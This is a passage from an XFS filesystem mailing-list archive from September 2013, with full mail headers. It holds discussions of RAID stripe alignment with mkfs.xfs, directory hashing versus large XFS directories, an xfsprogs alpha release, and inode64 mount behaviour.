Raid Controllers > > 1 of them has 10 disks as RAID 6 that I would like to add to a logical > > volume > > 2 of them have 12 disks as a RAID 6 that I would like to add to the same > > logical volume > > > > All have the same "Stripe" or "Strip Size" of 512 KB > > > > So if I where going to make 3 seperate xfs volumes, I would do the > > following: > > mkfs.xfs -d su=512k sw=8 /dev/sda > > mkfs.xfs -d su=512k sw=10 /dev/sdb > > mkfs.xfs -d su=512k sw=10 /dev/sdc > > > > I assume, If I where going to bring them all into 1 logical volume, it > > would be best placed to have the sw value set > > to a value that is divisible by both 8 and 10 - in this case 2? > > No. In this case you do NOT stripe align XFS to the storage, because > it's impossible--the RAID stripes are dissimilar. In this case you use > the default 4KB write out, as if this is a single disk drive. > > As Dave stated, if you format a concatenated device with XFS and you > desire to align XFS, then all constituent arrays must have the same > geometry. > > Two things to be aware of here: > > 1. With a decent hardware write caching RAID controller, having XFS > alined to the RAID geometry is a small optimization WRT overall write > performance, because the controller is going to be doing the optimizing > of final writeback to the drives. > > 2. Alignment does not affect read performance. Ah, but it does... > 3. XFS only performs aligned writes during allocation. Right, and it does so not only to improve write performance, but to also maximise sequential read performance of the data that is written, especially when multiple files are being read simultaneously and IO latency is important to keep low (e.g. realtime video ingest and playout). > What really makes a difference as to whether alignment will be of > benefit to you, and how often, is your workload. So at this point, you > need to describe the primary workload(s) of your systems we're discussing. Yup, my thoughts exactly... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Thu Sep 26 17:00:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E94947F3F for ; Thu, 26 Sep 2013 17:00:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C7D978F8050 for ; Thu, 26 Sep 2013 15:00:34 -0700 (PDT) X-ASG-Debug-ID: 1380232832-04cbb02c3e147cad0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id iSYLRneoHISzZFLd for ; Thu, 26 Sep 2013 15:00:33 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8672861AB730; Thu, 26 Sep 2013 17:00:32 -0500 (CDT) Message-ID: <5244AE7F.2080003@sandeen.net> Date: Thu, 26 Sep 2013 17:00:31 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Rich Johnston CC: xfs-oss Subject: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha1 References: <52447EEA.6090205@sgi.com> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha1 In-Reply-To: <52447EEA.6090205@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380232833 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140955 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/26/13 1:37 PM, Rich Johnston wrote: > Alpha version 3.2.0-alpha1 of xfsprogs has been released. > > The source code can be accessed via git using this URL: > > git://oss.sgi.com/xfs/cmds/xfsprogs.git > > A gzipped-tar archive of the source code is available here: > > ftp://oss.sgi.com/projects/xfs/cmd_tars/xfsprogs-3.2.0-alpha1.tar.gz > > The development tree previously hosted on kernel.org for this code has been deprecated: > > git://git.kernel.org/pub/scm/fs/xfs/xfsprogs-dev.git > > Below is a summary (from the doc/CHANGES file) of the changes: > > xfsprogs-3.2.0-alpha1 (26 September 2013) > - Alpha release for the purpose of testing the CRC feature during the > v3.12 kernel -rc series. this is built now in Fedora Rawhide, for any fedora-type-people... -Eric From david@fromorbit.com Thu Sep 26 17:16:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9BA5D7F3F for ; Thu, 26 Sep 2013 17:16:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 88F988F8050 for ; Thu, 26 Sep 2013 15:16:54 -0700 (PDT) X-ASG-Debug-ID: 1380233811-04cbb02c3a147dea0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id pVXW8bC4ACxmeDiw for ; Thu, 26 Sep 2013 15:16:52 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArcHAAmxRFJ5LCC0/2dsb2JhbABbgweDS7hKhCqBEYEfF3SCJQEBBAE6HCMFCwgDGAklDwUlAyETHodiBbxxFo4IgTMHhB4Dl3yReYM2KoEt Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Sep 2013 07:46:51 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VPJrX-0006rB-NY; Fri, 27 Sep 2013 08:16:43 +1000 Date: Fri, 27 Sep 2013 08:16:43 +1000 From: Dave Chinner To: Joe Landman Cc: xfs@oss.sgi.com Subject: Re: Issues and new to the group Message-ID: <20130926221643.GR26872@dastard> X-ASG-Orig-Subj: Re: Issues and new to the group References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> <100f01cebaba$0ae84280$20b8c780$@host2max.com> <52444BDD.9060100@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52444BDD.9060100@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380233811 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140955 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Thu, Sep 26, 2013 at 10:59:41AM -0400, Joe Landman wrote: > On 09/26/2013 09:12 AM, Ronnie Tartar wrote: > >Stan, > > > >Thanks for the reply. > > > >My fragmentation is: > > > >[root@AP-FS1 ~]# xfs_db -c frag -r /dev/xvdb1 > >actual 10470159, ideal 10409782, fragmentation factor 0.58% > > This was never likely the cause ... > > [...] > > >This is running virtualized, definitely not a rust bucket. It's x5570 cpus > > ... well, this is likely the cause (virtualized) > > >with MD3200 Array with light I/O. > > > >Seems like i/o wait is not problem, system% is problem. Is this the OS > >trying to find spot for these files? > > From your previous description > > >takes. The folders are image folders that have anywhere between 5 to > >10 million images in each folder. > > The combination of very large folders, and virtualization is working > against you. Couple that with an old (ancient by Linux standards) > xfs in the virtual CentOS 5.9 system, and you aren't going to have > much joy with this without changing a few things. Virtualisation will have nothing to do with the problem. *All* my testing of XFS in a virtualised environment - including all the performance testing I do. And I do it this way because even with SSD based storage, the virtualisation overhead is less than 2% for IO rates exceding 100,000 IOPS.... And, well, I can boot a virtualised machine in under 7s, while a physical machine reboot takes about 5 minutes, so there's a massive win in terms of compile/boot/test cycle times doing things this way. > First and foremost: > > Can you change from one single large folder to a heirarchical set of > folders? The single large folder means any metadata operation (ls, > stat, open, close) has a huge set of lists to traverse. It will > work, albiet slowly. As a rule of thumb, we try to make sure our > users don't go much beyond 10k files/folder. If they need to, > building a heirarchy of folders slightly increases management > complexity, but keeps the lists that are needed to be traversed much > smaller. I'll just quote what I told someone yesterday on IRC: [26/09/13 08:00] spligak: the only way to scale linux directory operations is to spread them out over multiple directories. [26/09/13 08:00] operations on a directory are always single threaded [26/09/13 08:01] and the typical limitiation is somewhere between 10-20k modification operations per second per directory [26/09/13 08:02] an empty directory will average about 15-20k creates/s out to 100k entries, expect about 7-10k creates/s at 1 million entries, and down to around 2k creates/s at 10M entries [26/09/13 08:03] these numbers are variable depending on name lengths, filesystem fragmentation, etc [26/09/13 08:04] but, in reality, for a short term file store that has lots of create and removal, you really want to hash your files over multiple directories [26/09/13 08:05] A hash that is some multiple of the AG count (e.g. 2-4x, assuming an AG count of 16+ is usually sufficient on XFS... [26/09/13 08:05] spligak: the degradation is logarithmic due to the btree-based structure of the directory indexes ..... [26/09/13 08:11] spligak: hashing obliviates the need for a dir-per-thread - it spreads the load out by only having threads that end up with hash collisions working on the same dir.. > > A strategy for doing this: If your files are named "aaaa0001" > "aaaa0002" ... "zzzz9999" or similar, then you can chop off the > first letter, and make a directory of it, and then put all files > starting with that letter in that directory. Then within each of > those directories, do the same thing with the second letter. This > gets you 676 directories and about 15k files per directory. Much > faster directory operations. Much smaller lists to traverse. But that's still not optimal, as directory operations will then serialise on per AG locks and so modifications will still be a bottleneck if you only have 4 AGs in your filesystem. i.e. if you are going to do this, you need to tailor the directory hash to the concurrency the filesystem structure provide because more, smaller directories are not necessarily better than fewer larger ones. Indeed, if you're workload is dominated by random lookups, the hashing technique is less efficient than just having one large directory as the internal btree indexes in the XFS directory structure are far, far more IO efficient than a multi-level directory hash of smaller directories. The trade-off in this case is lookup concurrency - enough directories to provide good llokup concurrency, yet few enough that you still get the IO benefit from the scalability of the internal directory structure. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 26 17:47:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 74CC07F3F for ; Thu, 26 Sep 2013 17:47:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 630FA304067 for ; Thu, 26 Sep 2013 15:47:52 -0700 (PDT) X-ASG-Debug-ID: 1380235669-04cb6c2e9f148c9f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id eldkop9fsmdML7SR for ; Thu, 26 Sep 2013 15:47:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Sep 2013 08:17:34 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VPKLH-0006vB-KB; Fri, 27 Sep 2013 08:47:27 +1000 Date: Fri, 27 Sep 2013 08:47:27 +1000 From: Dave Chinner To: Jay Ashworth Cc: xfs@oss.sgi.com Subject: Re: Issues and new to the group Message-ID: <20130926224727.GS26872@dastard> X-ASG-Orig-Subj: Re: Issues and new to the group References: <52444BDD.9060100@gmail.com> <20084214.8829.1380209207683.JavaMail.root@benjamin.baylink.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20084214.8829.1380209207683.JavaMail.root@benjamin.baylink.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380235669 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140958 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 26, 2013 at 11:26:47AM -0400, Jay Ashworth wrote: > ----- Original Message ----- > > From: "Joe Landman" > > > > takes. The folders are image folders that have anywhere between 5 to > > > 10 million images in each folder. > > > > The combination of very large folders, and virtualization is working > > against you. Couple that with an old (ancient by Linux standards) xfs > > in the virtual CentOS 5.9 system, and you aren't going to have much > > joy with this without changing a few things. > > > Can you change from one single large folder to a heirarchical set of > > folders? The single large folder means any metadata operation (ls, > > stat, open, close) has a huge set of lists to traverse. It will work, > > albiet slowly. As a rule of thumb, we try to make sure our users don't > > go much beyond 10k files/folder. If they need to, building a heirarchy > > of folders slightly increases management complexity, but keeps the > > lists that are needed to be traversed much smaller. > > > > A strategy for doing this: If your files are named "aaaa0001" > > "aaaa0002" ... "zzzz9999" or similar, then you can chop off the first > > letter, and make a directory of it, and then put all files starting > > with that letter in that directory. Then within each of those directories, > > do the same thing with the second letter. This gets you 676 > > directories and about 15k files per directory. Much faster directory operations. > > Much smaller lists to traverse. > > While this problem isn't *near* as bad on XFS as it was on older filesystems, > where over maybe 500-1000 files would result in 'ls' commands taking > over a minute... Assuming a worst case, 500-1000 files requires 700-1200 IOs for LS to complete. If that's taking over a minute, then you're getting less than 10-20 IOPS for the workload which is about 10% of the capability of a typical SATA drive. This sounds to me like there was lots of other stuff competing for IO bandwidth at the same time or something else wrong to result in such poor performance for ls. > It's still a good idea to filename hash large collections of files of > similar types into a directory tree, as Joe recommends. The best approach > I myself have seen to this is to has a filename of > > 835bfak3f89yu12.jpg > > into > > 8/3/5/b/835bfak3f89yu12.jpg > 8/3/5/b/f/835bfak3f89yu12.jpg > 8/3/5/b/f/a/835bfak3f89yu12.jpg No, not on XFS. here you have a fanout per level of 16. i.e. consider a tree with a fanout of 16. To move from level to level, it takes 2 IOs. Lets consider the internal hash btree in XFS. For a 4k directory block, it fits 500 entries - call it 512 to make the math easy. i.e. it is a tree with a fanout per level of 512 To move from level to level, it takes 1 IO. > 8/3/5/b/f/a/835bfak3f89yu12.jpg Here we have 6 levels of hash, that's 16^6 = 16.7M fanout. With a fanout of 512, the internal XFS hash btree needs only 3 levels (64 * 512 * 512) to index the same number directory entries. So, do a lookup on the hash, it takes 12 IOs to get to the leaf directory, then as many IOs are required to look up the entry in the leaf directory. For a single large XFS directory, it takes 3 IOs to find the dirent, and another 1 to read the dirent and return it to userspace i.e. 4 IOs total vs 12 + N IOs for the equivalent 16-way hash of the same depth... What I am trying to point out is that on XFS deep hashing will not improve performance like it might on ext4 - on XFS you should look to use wide, shallow directory hashing with relatively large numbers of entries in each leaf directory because the internal directory structure is much more efficient that from an IO perspective than hashing is... And then, of course, if directory IO is still the limiting factor with large numbers of leaf entries (e.g. you're indexing billions of files), you have the option of using larger directory blocks and making the internal directory fanout up to 16x wider than in this example... > Going as deep as necessary to reduce the size of the directories. What > you lose in needing to cache the extra directory levels outweighs (probably > far outweighs) having to handle Directories Of Unusual Size. On XFS, a directory with a million entries is not an unusual size - with a 4k directory block size the algorithms are still pretty CPU efficient at this point, though it's going to be at roughly half that of an empty directory. It's once you get above several million entries that the modification cost starts to dominate performance considerations and at that point a wider hash, not a deeper hash should be considered.. > Note that I didn't actually trim the filename proper; the final file still has > its full name. This hash is easy to build, as long as you fix the number of layers > in advance... and if you need to make it deeper, later, it's easy to build a > shell script that crawls the current tree and adds the next layer. Avoiding the need for rebalancing a directory hash is one of the reasons for designing it around a scalable directory structure in the first place. It pretty much means the only consideration for the width of the hash and the underlying filesystem layout is the concurrency your application requires. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 26 17:48:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3FFCA7F3F for ; Thu, 26 Sep 2013 17:48:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2DF1230405F for ; Thu, 26 Sep 2013 15:48:45 -0700 (PDT) X-ASG-Debug-ID: 1380235720-04cbb02c3a147fec0001-w1Z2WR Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id PgUdIXfJzk8RYHUk for ; Thu, 26 Sep 2013 15:48:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjIHAD65RFJ5LCC0/2dsb2JhbABbgweDS7hOhTuBHxd0giUBAQU6HCMQCAMYCSUPBSUDIROIBbx5Fo87B4QeA5d8kXmDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Sep 2013 08:18:39 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VPKMO-0006vK-KW; Fri, 27 Sep 2013 08:48:36 +1000 Date: Fri, 27 Sep 2013 08:48:36 +1000 From: Dave Chinner To: Eric Sandeen Cc: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfstests: add xfs/291 to auto group Message-ID: <20130926224836.GT26872@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add xfs/291 to auto group References: <52444130.6030000@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52444130.6030000@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380235720 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140958 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 26, 2013 at 09:14:08AM -0500, Eric Sandeen wrote: > 291 passes just fine w/ current xfsprogs on non-crc filesystems, > so add it to the auto group. Looks fine. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From sgi-linux-xfs@m.gmane.org Thu Sep 26 17:49:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8E0747F3F for ; Thu, 26 Sep 2013 17:49:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 15F15AC002 for ; Thu, 26 Sep 2013 15:49:45 -0700 (PDT) X-ASG-Debug-ID: 1380235779-04cb6c2e9f148cbd0001-w1Z2WR Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) by cuda.sgi.com with ESMTP id QtbLJhcBZAEexnK7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 15:49:41 -0700 (PDT) X-Barracuda-Envelope-From: sgi-linux-xfs@m.gmane.org X-Barracuda-Apparent-Source-IP: 80.91.229.3 Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1VPKNP-000800-5o for linux-xfs@oss.sgi.com; Fri, 27 Sep 2013 00:49:39 +0200 Received: from wombat.san-francisco.ca.us ([75.101.60.140]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 27 Sep 2013 00:49:39 +0200 Received: from kkeller by wombat.san-francisco.ca.us with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 27 Sep 2013 00:49:39 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: linux-xfs@oss.sgi.com From: Keith Keller Subject: free inodes remaining in 1tb Date: Thu, 26 Sep 2013 15:47:00 -0700 X-ASG-Orig-Subj: free inodes remaining in 1tb Lines: 23 Message-ID: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: wombat.san-francisco.ca.us User-Agent: slrn/0.9.9p1 (Linux) X-Barracuda-Connect: plane.gmane.org[80.91.229.3] X-Barracuda-Start-Time: 1380235780 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140958 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Hi all, I "recently" (a few months ago) came across the inode64 entries in the XFS FAQ. Unfortunately, I have a filesystem not mounted with inode64, and I would like to know how many more inodes I can create in the first 1TB before I run out, so that I can plan for a migration to inode64 (if it's very few, I would make it a high priority; if not, it can be done in a few weeks instead, for example). Is there an easy way (or even a hard way) to query the filesystem for this information? I also wanted to ask about the FAQ that says you can switch back from inode64 to inode32. How does that work if an inode is created past the 1TB mark? How would the kernel know how to find an inode64 inode that was created beyond the 1TB mark if the filesystem is subsequentely mounted without inode64? Thanks, --keith -- kkeller@wombat.san-francisco.ca.us From cmaiolino@redhat.com Thu Sep 26 18:03:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1965D7F3F for ; Thu, 26 Sep 2013 18:03:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 076D98F8033 for ; Thu, 26 Sep 2013 16:03:52 -0700 (PDT) X-ASG-Debug-ID: 1380236632-04cb6c2e9f148d920001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sC44aNFxelr14sHZ; Thu, 26 Sep 2013 16:03:52 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8QN3p3b027482 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Sep 2013 19:03:51 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-166.phx2.redhat.com [10.3.113.166]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8QN3liB011416 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 26 Sep 2013 19:03:50 -0400 Date: Thu, 26 Sep 2013 20:03:45 -0300 From: Carlos Maiolino To: xfs@oss.sgi.com, linux-xfs@oss.sgi.com Subject: Re: free inodes remaining in 1tb Message-ID: <20130926230345.GA18765@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: free inodes remaining in 1tb Mail-Followup-To: xfs@oss.sgi.com, linux-xfs@oss.sgi.com References: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380236632 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Sep 26, 2013 at 03:47:00PM -0700, Keith Keller wrote: > Hi all, > > I "recently" (a few months ago) came across the inode64 entries in the > XFS FAQ. Unfortunately, I have a filesystem not mounted with inode64, > and I would like to know how many more inodes I can create in the > first 1TB before I run out, The maximum amount of the filesystem that can be used by inodes (by default) are: 25% for filesystems under 1TB, 5% for filesystems under 50TB and 1% for filesystems over 50TB. >so that I can plan for a migration to > inode64 (if it's very few, I would make it a high priority; if not, it > can be done in a few weeks instead, for example). Is there an easy > way (or even a hard way) to query the filesystem for this information? > inode64 is a remountable option now (if you're using a relatively recent kernel), so you don't need to umount and remount it. > I also wanted to ask about the FAQ that says you can switch back from > inode64 to inode32. How does that work if an inode is created past the > 1TB mark? How would the kernel know how to find an inode64 inode that > was created beyond the 1TB mark if the filesystem is subsequentely > mounted without inode64? > inode32 option only dictates where the filesystem will create next inodes, not where it will search for already created inodes. bear in mind though that are some applications that can't read 64bit inodes. > Thanks, > > --keith > > -- > kkeller@wombat.san-francisco.ca.us > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From cmaiolino@redhat.com Thu Sep 26 18:03:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9F4077F3F for ; Thu, 26 Sep 2013 18:03:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 38C92AC002 for ; Thu, 26 Sep 2013 16:03:53 -0700 (PDT) X-ASG-Debug-ID: 1380236632-04cb6c2e9f148d920001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sC44aNFxelr14sHZ; Thu, 26 Sep 2013 16:03:52 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8QN3p3b027482 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Sep 2013 19:03:51 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-166.phx2.redhat.com [10.3.113.166]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8QN3liB011416 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 26 Sep 2013 19:03:50 -0400 Date: Thu, 26 Sep 2013 